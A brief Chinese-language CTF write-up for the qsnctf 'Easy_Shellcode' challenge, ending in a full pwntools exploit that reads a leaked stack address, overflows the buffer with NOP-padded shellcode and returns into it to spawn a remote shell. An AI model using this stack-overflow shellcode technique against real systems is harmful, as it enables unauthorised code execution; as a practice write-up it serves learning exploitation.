类型：shellcode、栈溢出

https://www.qsnctf.com/ 题目叫做：Easy_Shellcode

输入然后栈中执行，一开始的时候会输出v4的地址。

PIE每次会随机地址，但是按照人类逻辑的最前面三位不动。通过0x7ff将后面的值全部获取。再return到这里执行shellcode即可。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

context(log_level = 'debug', arch = 'amd64', os = 'linux')


ip='challenge.qsnctf.com'
port=34976
file_addr = './easy-shellcode'


p = remote(ip,port)

# p = process(file_addr)
elf = ELF(file_addr)

v4_addr=int(p.recvline()[2:],16)
print(v4_addr)
shellcode = asm(shellcraft.sh())
payload = shellcode
payload += b'\x90'*(0x100-len(shellcode)+8)+p64(v4_addr)
# print(payload)
p.send(payload)
p.interactive()